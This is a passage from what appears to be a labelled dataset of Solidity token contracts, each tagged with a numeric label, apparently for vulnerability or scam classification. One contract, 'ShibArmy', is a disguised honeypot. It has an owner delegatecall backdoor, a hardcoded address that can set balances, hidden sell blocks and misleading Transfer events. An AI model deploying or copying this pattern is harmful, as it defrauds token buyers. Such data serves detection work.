owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable {
PeculiumOld public peculOld;
address public peculOldAdress = 0x53148Bb4551707edF51a1e8d7A93698d18931225;
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
mapping(address => bool) public balancesCannotSell;
event ChangedTokens(address changedTarget,uint256 amountToChanged);
event FrozenFunds(address address_target, bool bool_canSell);
function Peculium() public {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[address(this)] = totalSupply;
peculOld = PeculiumOld(peculOldAdress);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCannotSell[msg.sender]==false);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCannotSell[msg.sender]==false);
return StandardToken.transferFrom(_from,_to,_value);
}
function ChangeLicense(address target, bool canSell) public onlyOwner
{
balancesCannotSell[target] = canSell;
FrozenFunds(target, canSell);
}
function UpgradeTokens() public
{
require(peculOld.totalSupply()>0);
uint256 amountChanged = peculOld.allowance(msg.sender,address(this));
require(amountChanged>0);
peculOld.transferFrom(msg.sender,address(this),amountChanged);
peculOld.burn(amountChanged);
balances[address(this)] = balances[address(this)].sub(amountChanged);
balances[msg.sender] = balances[msg.sender].add(amountChanged);
Transfer(address(this), msg.sender, amountChanged);
ChangedTokens(msg.sender,amountChanged);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() public constant returns (uint256)
{
return now;
}
function getOwnerInfos() public constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
}
contract PeculiumOld is BurnableToken,Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
uint256 public dateStartContract;
mapping(address => bool) public balancesCanSell;
uint256 public dateDefrost;
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
function PeculiumOld() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply;
balancesCanSell[owner] = true;
dateStartContract=now;
dateDefrost = dateStartContract + 85 days;
}
function defrostToken() public
{
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
} | 1 | 2,999 |
pragma solidity ^0.4.20;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token(
) {
balances[msg.sender] = 10000000;
totalSupply = 10000000;
name = "Surfing USA Prize Token";
decimals = 1;
symbol = "PRIZE";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,696 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibArmy{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,636 |
pragma solidity ^0.4.24;
contract ERC20Simple {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract CRNToken is ERC20Simple {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract FLXCoin is CRNToken {
event Burn(address indexed burner, uint256 value);
string public name = "FLX Coin";
string public symbol = "FLX";
uint8 public decimals = 2;
uint public INITIAL_SUPPLY = 1000000000000;
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
} | 1 | 3,457 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract DemoTokenMintable is MintableToken {
string public name = "Kremlin";
string public symbol = "KRM";
uint256 public decimals = 18;
} | 1 | 3,581 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x492ea3bb0f3315521c31f273e565b868fc090f17);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 1,291 |
pragma solidity ^0.4.25;
contract Approvable {
mapping(address => bool) public approved;
constructor () public {
approved[msg.sender] = true;
}
function approve(address _address) public onlyApproved {
require(_address != address(0));
approved[_address] = true;
}
function revokeApproval(address _address) public onlyApproved {
require(_address != address(0));
approved[_address] = false;
}
modifier onlyApproved() {
require(approved[msg.sender]);
_;
}
}
contract DIDToken is Approvable {
using SafeMath for uint256;
event LogIssueDID(address indexed to, uint256 numDID);
event LogDecrementDID(address indexed to, uint256 numDID);
event LogExchangeDIDForEther(address indexed to, uint256 numDID);
event LogInvestEtherForDID(address indexed to, uint256 numWei);
address[] public DIDHoldersArray;
address public PullRequestsAddress;
address public DistenseAddress;
uint256 public investmentLimitAggregate = 100000 ether;
uint256 public investmentLimitAddress = 100 ether;
uint256 public investedAggregate = 1 ether;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
struct DIDHolder {
uint256 balance;
uint256 netContributionsDID;
uint256 DIDHoldersIndex;
uint256 weiInvested;
uint256 tasksCompleted;
}
mapping (address => DIDHolder) public DIDHolders;
constructor () public {
name = "Distense DID";
symbol = "DID";
totalSupply = 0;
decimals = 18;
}
function issueDID(address _recipient, uint256 _numDID) public onlyApproved returns (bool) {
require(_recipient != address(0));
require(_numDID > 0);
_numDID = _numDID * 1 ether;
totalSupply = SafeMath.add(totalSupply, _numDID);
uint256 balance = DIDHolders[_recipient].balance;
DIDHolders[_recipient].balance = SafeMath.add(balance, _numDID);
if (DIDHolders[_recipient].DIDHoldersIndex == 0) {
uint256 index = DIDHoldersArray.push(_recipient) - 1;
DIDHolders[_recipient].DIDHoldersIndex = index;
}
emit LogIssueDID(_recipient, _numDID);
return true;
}
function decrementDID(address _address, uint256 _numDID) external onlyApproved returns (uint256) {
require(_address != address(0));
require(_numDID > 0);
uint256 numDID = _numDID * 1 ether;
require(SafeMath.sub(DIDHolders[_address].balance, numDID) >= 0);
require(SafeMath.sub(totalSupply, numDID ) >= 0);
totalSupply = SafeMath.sub(totalSupply, numDID);
DIDHolders[_address].balance = SafeMath.sub(DIDHolders[_address].balance, numDID);
if (DIDHolders[_address].balance == 0) {
deleteDIDHolderWhenBalanceZero(_address);
}
emit LogDecrementDID(_address, numDID);
return DIDHolders[_address].balance;
}
function exchangeDIDForEther(uint256 _numDIDToExchange)
external
returns (uint256) {
uint256 numDIDToExchange = _numDIDToExchange * 1 ether;
uint256 netContributionsDID = getNumContributionsDID(msg.sender);
require(netContributionsDID >= numDIDToExchange);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle());
require(numDIDToExchange < totalSupply);
uint256 numWeiToIssue = calculateNumWeiToIssue(numDIDToExchange, DIDPerEther);
address contractAddress = this;
require(contractAddress.balance >= numWeiToIssue, "DIDToken contract must have sufficient wei");
DIDHolders[msg.sender].balance = SafeMath.sub(DIDHolders[msg.sender].balance, numDIDToExchange);
DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToExchange);
totalSupply = SafeMath.sub(totalSupply, numDIDToExchange);
msg.sender.transfer(numWeiToIssue);
if (DIDHolders[msg.sender].balance == 0) {
deleteDIDHolderWhenBalanceZero(msg.sender);
}
emit LogExchangeDIDForEther(msg.sender, numDIDToExchange);
return DIDHolders[msg.sender].balance;
}
function investEtherForDID() external payable returns (uint256) {
require(getNumWeiAddressMayInvest(msg.sender) >= msg.value);
require(investedAggregate < investmentLimitAggregate);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = SafeMath.div(distense.getParameterValueByTitle(distense.didPerEtherParameterTitle()), 1 ether);
uint256 numDIDToIssue = calculateNumDIDToIssue(msg.value, DIDPerEther);
require(DIDHolders[msg.sender].netContributionsDID >= numDIDToIssue);
totalSupply = SafeMath.add(totalSupply, numDIDToIssue);
DIDHolders[msg.sender].balance = SafeMath.add(DIDHolders[msg.sender].balance, numDIDToIssue);
DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToIssue);
DIDHolders[msg.sender].weiInvested += msg.value;
investedAggregate = investedAggregate + msg.value;
emit LogIssueDID(msg.sender, numDIDToIssue);
emit LogInvestEtherForDID(msg.sender, msg.value);
return DIDHolders[msg.sender].balance;
}
function incrementDIDFromContributions(address _contributor, uint256 _reward) onlyApproved public {
uint256 weiReward = _reward * 1 ether;
DIDHolders[_contributor].netContributionsDID = SafeMath.add(DIDHolders[_contributor].netContributionsDID, weiReward);
}
function incrementTasksCompleted(address _contributor) onlyApproved public returns (bool) {
DIDHolders[_contributor].tasksCompleted++;
return true;
}
function pctDIDOwned(address _address) external view returns (uint256) {
return SafeMath.percent(DIDHolders[_address].balance, totalSupply, 20);
}
function getNumWeiAddressMayInvest(address _contributor) public view returns (uint256) {
uint256 DIDFromContributions = DIDHolders[_contributor].netContributionsDID;
require(DIDFromContributions > 0);
uint256 netUninvestedEther = SafeMath.sub(investmentLimitAddress, DIDHolders[_contributor].weiInvested);
require(netUninvestedEther > 0);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle());
return (DIDFromContributions * 1 ether) / DIDPerEther;
}
function rewardContributor(address _contributor, uint256 _reward) external onlyApproved returns (bool) {
uint256 reward = SafeMath.div(_reward, 1 ether);
bool issued = issueDID(_contributor, reward);
if (issued) incrementDIDFromContributions(_contributor, reward);
incrementTasksCompleted(_contributor);
}
function getWeiAggregateMayInvest() public view returns (uint256) {
return SafeMath.sub(investmentLimitAggregate, investedAggregate);
}
function getNumDIDHolders() external view returns (uint256) {
return DIDHoldersArray.length;
}
function getAddressBalance(address _address) public view returns (uint256) {
return DIDHolders[_address].balance;
}
function getNumContributionsDID(address _address) public view returns (uint256) {
return DIDHolders[_address].netContributionsDID;
}
function getWeiInvested(address _address) public view returns (uint256) {
return DIDHolders[_address].weiInvested;
}
function calculateNumDIDToIssue(uint256 msgValue, uint256 DIDPerEther) public pure returns (uint256) {
return SafeMath.mul(msgValue, DIDPerEther);
}
function calculateNumWeiToIssue(uint256 _numDIDToExchange, uint256 _DIDPerEther) public pure returns (uint256) {
_numDIDToExchange = _numDIDToExchange * 1 ether;
return SafeMath.div(_numDIDToExchange, _DIDPerEther);
}
function deleteDIDHolderWhenBalanceZero(address holder) internal {
if (DIDHoldersArray.length > 1) {
address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1];
DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement;
DIDHoldersArray.length--;
delete DIDHolders[holder];
}
}
function deleteDIDHolder(address holder) public onlyApproved {
if (DIDHoldersArray.length > 1) {
address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1];
DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement;
DIDHoldersArray.length--;
delete DIDHolders[holder];
}
}
function setDistenseAddress(address _distenseAddress) onlyApproved public {
DistenseAddress = _distenseAddress;
}
}
contract Distense is Approvable {
using SafeMath for uint256;
address public DIDTokenAddress;
bytes32[] public parameterTitles;
struct Parameter {
bytes32 title;
uint256 value;
mapping(address => Vote) votes;
}
struct Vote {
address voter;
uint256 lastVoted;
}
mapping(bytes32 => Parameter) public parameters;
Parameter public votingIntervalParameter;
bytes32 public votingIntervalParameterTitle = 'votingInterval';
Parameter public pctDIDToDetermineTaskRewardParameter;
bytes32 public pctDIDToDetermineTaskRewardParameterTitle = 'pctDIDToDetermineTaskReward';
Parameter public pctDIDRequiredToMergePullRequest;
bytes32 public pctDIDRequiredToMergePullRequestTitle = 'pctDIDRequiredToMergePullRequest';
Parameter public maxRewardParameter;
bytes32 public maxRewardParameterTitle = 'maxReward';
Parameter public numDIDRequiredToApproveVotePullRequestParameter;
bytes32 public numDIDRequiredToApproveVotePullRequestParameterTitle = 'numDIDReqApproveVotePullRequest';
Parameter public numDIDRequiredToTaskRewardVoteParameter;
bytes32 public numDIDRequiredToTaskRewardVoteParameterTitle = 'numDIDRequiredToTaskRewardVote';
Parameter public minNumberOfTaskRewardVotersParameter;
bytes32 public minNumberOfTaskRewardVotersParameterTitle = 'minNumberOfTaskRewardVoters';
Parameter public numDIDRequiredToAddTaskParameter;
bytes32 public numDIDRequiredToAddTaskParameterTitle = 'numDIDRequiredToAddTask';
Parameter public defaultRewardParameter;
bytes32 public defaultRewardParameterTitle = 'defaultReward';
Parameter public didPerEtherParameter;
bytes32 public didPerEtherParameterTitle = 'didPerEther';
Parameter public votingPowerLimitParameter;
